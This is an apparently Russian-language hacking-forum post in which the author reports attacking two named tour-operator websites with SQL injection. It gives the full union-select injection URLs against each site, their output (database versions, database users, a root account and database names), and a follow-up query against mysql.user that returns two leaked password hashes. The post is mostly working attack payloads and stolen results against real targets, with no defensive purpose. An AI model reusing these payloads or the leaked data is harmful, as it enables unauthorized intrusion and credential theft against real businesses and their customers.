прошелся по туроператорам:

BSIgroup:

_http://www.bsigroup.ru/outgoing/specs.php?id=-464+union+select+1,version(),3,4,user(),6,7,8,9,10 ,11,12,13,database(),15,16,17,18,19,20,21,22,23,24 ,25,26,27/*&action=getItem

5.0.22
bsigroup_out
bsigroup_newwww@localhost
--------------------------
ВОЯЖ-ЛЮКС:

_http://voyag-lux.ru/chapter7.html?uid=7&vacid=-3+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat( version(),char(58),user(),char(5

8),database()),0x71),0x71),4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18/*

4.1.10:root@voyage-luxe.aha.ru:voyage

доступ к mysql.user

_http://voyag-lux.ru/chapter7.html?uid=7&vacid=-3+union+select+1,2,aes_decrypt(aes_encrypt(passwor d,0x71),0x71),4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18+from+mysql.user/*

18120c23686967de
1b873b97412ca664

блин как звать юзера не нашел спать пойду